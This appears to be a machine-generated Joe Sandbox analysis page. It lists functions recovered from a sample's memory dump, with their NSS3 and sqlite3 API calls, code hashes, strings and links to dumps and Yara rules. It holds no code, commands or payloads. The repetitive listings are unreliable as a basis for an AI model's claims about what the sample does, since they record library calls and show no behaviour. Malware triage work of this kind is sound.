Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 5a15a3c7446fe9de75e8ba931163b3a1201241ce6d7f3940bc8bab5877a33fad
Instruction ID: 7ff46ea2bf292870caf7504f84bae10b96f75bc97c21171849c2e3152ed0eb68
Opcode Fuzzy Hash: 5a15a3c7446fe9de75e8ba931163b3a1201241ce6d7f3940bc8bab5877a33fad
Instruction Fuzzy Hash: 41719271D106469FDB00CF55CD40BEABBA5BF95308F15822AE848DBB11F770EA94CB98

Function 6C680FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C681057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C681085
PK11_GetAllTokens.NSS3 ref: 6C6810B1
free.MOZGLUE(?), ref: 6C681107
PR_SetError.NSS3(00000000,00000000), ref: 6C681172
free.MOZGLUE(?), ref: 6C681182
free.MOZGLUE(?), ref: 6C6811A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6811C5

Part of subcall function 6C6852C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C65EAC5,00000001), ref: 6C6852DF
Part of subcall function 6C6852C0: EnterCriticalSection.KERNEL32(?), ref: 6C6852F3
Part of subcall function 6C6852C0: PR_Unlock.NSS3(?), ref: 6C685358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6811D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6811F3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: d16f3a98a445da86a2301f3603ae12ee7174b1a0efabda8fa488ecc18295cc63
Instruction ID: e043624ddd2b3798d9a79bf987b623eea7e29bacb7d780d237c0ea534cd940a8
Opcode Fuzzy Hash: d16f3a98a445da86a2301f3603ae12ee7174b1a0efabda8fa488ecc18295cc63
Instruction Fuzzy Hash: 9061B5B0E063459BEB00DF64DC45BAEB7B5BF05348F144128EC29AB741EB31E945CB69

Function 6C68ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AE10
EnterCriticalSection.KERNEL32(?,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C66D079,00000000,00000001), ref: 6C68AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AE7F
TlsGetValue.KERNEL32(?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AEF1
free.MOZGLUE(6C66CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66CDBB,?), ref: 6C68AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C66CDBB,?,6C66D079,00000000,00000001), ref: 6C68AF30

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: e776e83cab8c46657a30bb8917961e789c1cbd7377b1b742d862370b3952bb9e
Instruction ID: fc3010ea6aeadc1d842322eca6b558db566c0d9b4a77bfefccb1f321f20db57e
Opcode Fuzzy Hash: e776e83cab8c46657a30bb8917961e789c1cbd7377b1b742d862370b3952bb9e
Instruction Fuzzy Hash: 1E51BFB1A02601AFDB00DF25D888B5AB7B4FF09319F144664EC0897B92E731E865CBF5

Function 6C664CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C66AB7F,?,00000000,?), ref: 6C664CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C66AB7F,?,00000000,?), ref: 6C664CC8
TlsGetValue.KERNEL32(?,6C66AB7F,?,00000000,?), ref: 6C664CE0
EnterCriticalSection.KERNEL32(?,?,6C66AB7F,?,00000000,?), ref: 6C664CF4
PL_HashTableLookup.NSS3(?,?,?,6C66AB7F,?,00000000,?), ref: 6C664D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C664D10

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C664D26

Part of subcall function 6C709DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C750A27), ref: 6C709DC6
Part of subcall function 6C709DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C750A27), ref: 6C709DD1
Part of subcall function 6C709DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C709DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C664D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C664DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C664E02

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: a1e7fde95fcea270b80167793a448684c4132d6b73f3228a27b2824887b9eec2
Instruction ID: c92863b8fcee000e1843f91ef3452d166cfe96143dc5549c56b82d6bfb17af1c
Opcode Fuzzy Hash: a1e7fde95fcea270b80167793a448684c4132d6b73f3228a27b2824887b9eec2
Instruction Fuzzy Hash: BC41B5B5E00205ABEB019F25EC549AA77F8AF4635DF144170EC0887F12EB71D929C79A

Function 6C64BFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C64BFFB

Part of subcall function 6C6A0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6487ED,00000800,6C63EF74,00000000), ref: 6C6A1000
Part of subcall function 6C6A0FF0: PR_NewLock.NSS3(?,00000800,6C63EF74,00000000), ref: 6C6A1016
Part of subcall function 6C6A0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6487ED,00000008,?,00000800,6C63EF74,00000000), ref: 6C6A102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C64C015

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C64C032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C64C04D

Part of subcall function 6C6969E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C696A47
Part of subcall function 6C6969E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C696A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C64C064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C64C07B

Part of subcall function 6C648980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C647310), ref: 6C6489B8
Part of subcall function 6C648980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C647310), ref: 6C6489E6
Part of subcall function 6C648980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C648A00
Part of subcall function 6C648980: CERT_CopyRDN.NSS3(00000004,00000000,6C647310,?,?,00000004,?), ref: 6C648A1B
Part of subcall function 6C648980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C648A74

Part of subcall function 6C641D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C64C097,00000000,000000B0,?), ref: 6C641D2C
Part of subcall function 6C641D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C64C09B,00000000,00000000,00000000,?,6C64C097,00000000,000000B0,?), ref: 6C641D3F
Part of subcall function 6C641D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C64C087,00000000,000000B0,?), ref: 6C641D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C64C0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C64C0C9

Part of subcall function 6C652DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C64C0D2,6C64C0CE,00000000,-000000D4,?), ref: 6C652DF5
Part of subcall function 6C652DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C64C0CE,00000000,-000000D4,?), ref: 6C652E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C64C0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64C0E3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 5d06783de4ea0a54196b7212b28cc62f1d234b9aeafac76bc3a71941bbb701ac
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: C32195A654020577FB006A61AC81FFB326C9B42B5DF08C034FD05D9746FB26D91D82BE

Function 6C642E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C642CDA,?,00000000), ref: 6C642E1E

Part of subcall function 6C69FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C649003,?), ref: 6C69FD91
Part of subcall function 6C69FD80: PORT_Alloc_Util.NSS3(A4686C6A,?), ref: 6C69FDA2
Part of subcall function 6C69FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C6A,?,?), ref: 6C69FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C642E33

Part of subcall function 6C69FD80: free.MOZGLUE(00000000,?,?), ref: 6C69FDD1

TlsGetValue.KERNEL32 ref: 6C642E4E
EnterCriticalSection.KERNEL32(?), ref: 6C642E5E
PL_HashTableLookup.NSS3(?), ref: 6C642E71
PL_HashTableRemove.NSS3(?), ref: 6C642E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C642E96
PR_Unlock.NSS3 ref: 6C642EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C642EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C642EC5

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 2de149f2d8213acbfc5b5fb809cd5f0a52989aa6fe72825352161c2050b148fe
Instruction ID: 3ec6c59b96d6d0d954aceab536ecc01517504e7e7140874cdc7174801571501f
Opcode Fuzzy Hash: 2de149f2d8213acbfc5b5fb809cd5f0a52989aa6fe72825352161c2050b148fe
Instruction Fuzzy Hash: E721F572A00101A7EF001A66EC49E9B3B75AB9234DF148030ED1CC6711FB32C559D6A9

Function 6C62FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C62FD18
sqlite3_initialize.NSS3 ref: 6C62FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C62FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C62FD99
sqlite3_free.NSS3(00000000), ref: 6C62FE3C
sqlite3_free.NSS3(?), ref: 6C62FEE3
sqlite3_free.NSS3(?), ref: 6C62FEEE

Strings

simple, xrefs: 6C62FC79

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: ea96bb3437583e11064b65585cbfe1b2780d4193f936dcbde4538dfab934f294
Instruction ID: a133d345fd7e1127adff0fb234ffd599c542d6b58be0433807655579703907ae
Opcode Fuzzy Hash: ea96bb3437583e11064b65585cbfe1b2780d4193f936dcbde4538dfab934f294
Instruction Fuzzy Hash: 75917FB0A012159FDB04CF55C980AAAB7F1FF85318F24856DD8199BB52D739E802CF96

Function 6C635CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C635EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C635EED

Strings

invalid, xrefs: 6C635EBE
API call with %s database connection pointer, xrefs: 6C635EC3
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C635E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C635ED1
%s at line %d of [%.10s], xrefs: 6C635EE0
misuse, xrefs: 6C635EDB

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 25f67b5e23807918eb7149a4f818d3509fd8b0a2ade6335121deff95732cf09d
Instruction ID: 54512d5836e25b55c9bbcbba7696b6745592ac0435129d85e47e902009cd8d4e
Opcode Fuzzy Hash: 25f67b5e23807918eb7149a4f818d3509fd8b0a2ade6335121deff95732cf09d
Instruction Fuzzy Hash: 3981B270B056219BEB1A8F55C848BAAB7B0BF41318F18326DD81D5BB51C730E842CBDD

Function 6C61DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C61DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C61DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C61DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C61DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C61DF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C61DE52, 6C61DE81
%s at line %d of [%.10s], xrefs: 6C61DE61, 6C61DE90
database corruption, xrefs: 6C61DE5C, 6C61DE8B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: c6dd3a194e97004d3f711174ff1bdf01aa9e24b5806d9e8abf20bbd5554cb93a
Instruction ID: 3da7c03cd2afa5e89ba896529ee1dd11de26f26b2ec586a067b0750263541e18
Opcode Fuzzy Hash: c6dd3a194e97004d3f711174ff1bdf01aa9e24b5806d9e8abf20bbd5554cb93a
Instruction Fuzzy Hash: 9981B371B083009FD715CF29C884B6A77F1BF85309F14882DE99A8BE51EB31E946CB56

Function 6C5CCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5CB999), ref: 6C5CCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5CB999), ref: 6C5CD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5CB999), ref: 6C5CD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5CB999), ref: 6C71972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5CCFDD, 6C5CD00E, 6C5CD022, 6C5CD033, 6C719780
%s at line %d of [%.10s], xrefs: 6C5CCFEC, 6C5CD018, 6C5CD029, 6C5CD03F, 6C71978B
database corruption, xrefs: 6C5CCFE7, 6C5CD013, 6C5CD028, 6C5CD039, 6C5CD03E, 6C719786

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: a3d255b9dad313f9adad0d426ed4d65f84706c303288bcb6795674fe32328fc0
Instruction ID: 307dc101af6dfeae7ea91fdf6266452a9c6fd9b2f3f357b6a11ac666c85badb7
Opcode Fuzzy Hash: a3d255b9dad313f9adad0d426ed4d65f84706c303288bcb6795674fe32328fc0
Instruction Fuzzy Hash: 68615771A042108BD310CF69CD01BA6B7F5EF95318F2845ADE4499FB82E376E947CBA1

Function 6C6CFFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6D5B56

PK11_FreeSymKey.NSS3(00000000), ref: 6C6D0113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D0130
PORT_Alloc_Util.NSS3(00000040), ref: 6C6D015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6C6D01AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6C6D0202
free.MOZGLUE(?), ref: 6C6D0224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6D0253

Strings

exporter, xrefs: 6C6D00F7

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 42562e4fe56b59d7ef51c87e58fc22c769d5697041536311f9111a932a3eae63
Instruction ID: 57c93b95c4d1b9cc3096d49639c4da39ae1ae400f4905c689b2ab167e48f7dfa
Opcode Fuzzy Hash: 42562e4fe56b59d7ef51c87e58fc22c769d5697041536311f9111a932a3eae63
Instruction Fuzzy Hash: 476144B1D04389ABEF118FA4CC01BEE77B6FF4930CF154128E91A5A661E731E954C758

Function 6C6A4DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C6A536F,00000022,?,?,00000000,?), ref: 6C6A4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C6A4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C6A4F8E
